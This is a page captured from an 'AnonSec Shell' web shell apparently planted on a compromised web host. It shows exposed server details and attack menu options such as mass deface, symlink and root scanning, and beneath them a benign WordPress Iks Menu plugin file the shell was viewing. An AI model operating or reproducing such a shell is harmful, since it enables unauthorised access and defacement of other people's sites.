AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/razzlestore/public_html/wp-content/plugins/iks-menu/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/razzlestore/public_html/wp-content/plugins/iks-menu/includes//Shortcode.php
<?php
/**
 * Iks Menu
 *
 *
 * @package   Iks Menu
 * @author    IksStudio
 * @license   GPL-3.0
 * @link      https://iks-menu.com
 * @copyright 2019 IksStudio
 */

namespace IksStudio\IKSM;

use IksStudio\IKSM_CORE\Plugin;
use IksStudio\IKSM_CORE\render\StylesRenderer;
use IksStudio\IKSM_CORE\Shortcode_Base;
use IksStudio\IKSM_CORE\utils\PluginPostManager;
use IksStudio\IKSM_CORE\utils\Utils;
use IksStudio\IKSM\render\MenuRenderer;

/**
 * @subpackage Shortcode
 */
class Shortcode extends Shortcode_Base {

	/**
	 * Instance of this class.
	 *
	 * @since    1.0.0
	 *
	 * @var      object
	 */
	protected static $instance = null;

	/**
	 * Shortcode constructor.
	 */
	protected function __construct() {
		parent::__construct( array( $this, 'shortcode' ) );
	}

	/**
	 * Main render function
	 *
	 * @param $atts
	 *
	 * @return string
	 */
	public function shortcode( $atts ) {
		$output  = '';
		$post_id = (int) Utils::get( $atts, "id" );

		$time   = 0;
		$memory = 0;

		if ( ! Utils::is_production() ) {
			$time   = microtime( true );
			$memory = memory_get_usage();
		}

		/*
		 * Render
		 */
		$post_manager  = new PluginPostManager( $post_id );
		$post_settings = $post_manager->get_settings();
		$renderer      = new MenuRenderer( $post_settings, $post_id );
		$output        .= $renderer->render();

		/*
		 * Styles
		 */
		// TODO: Maybe add action?
		$settings = Plugin::$SettingsStore->get_settings();
		$output   .= ( new StylesRenderer( $post_settings, $post_id ) )->render( $settings );

		if ( ! Utils::is_production() ) {
			$time   = microtime( true ) - $time;
			$memory = memory_get_usage() - $memory;
			$output .= sprintf( 'Time: %1$s sec', round( $time, 4 ) );
			$output .= sprintf( '<br>Memory: %1$s Mb', round( ( ( $memory / 1024 ) / 1024 ), 3 ) );
		}

		return $output;
	}

	/**
	 * Return an instance of this class.
	 *
	 * @return    object    A single instance of this class.
	 * @since     1.0.0
	 *
	 */
	public static function get_instance() {

		// If the single instance hasn't been set, set it now.
		if ( null == self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}
}

Anon7 - 2022
AnonSec Team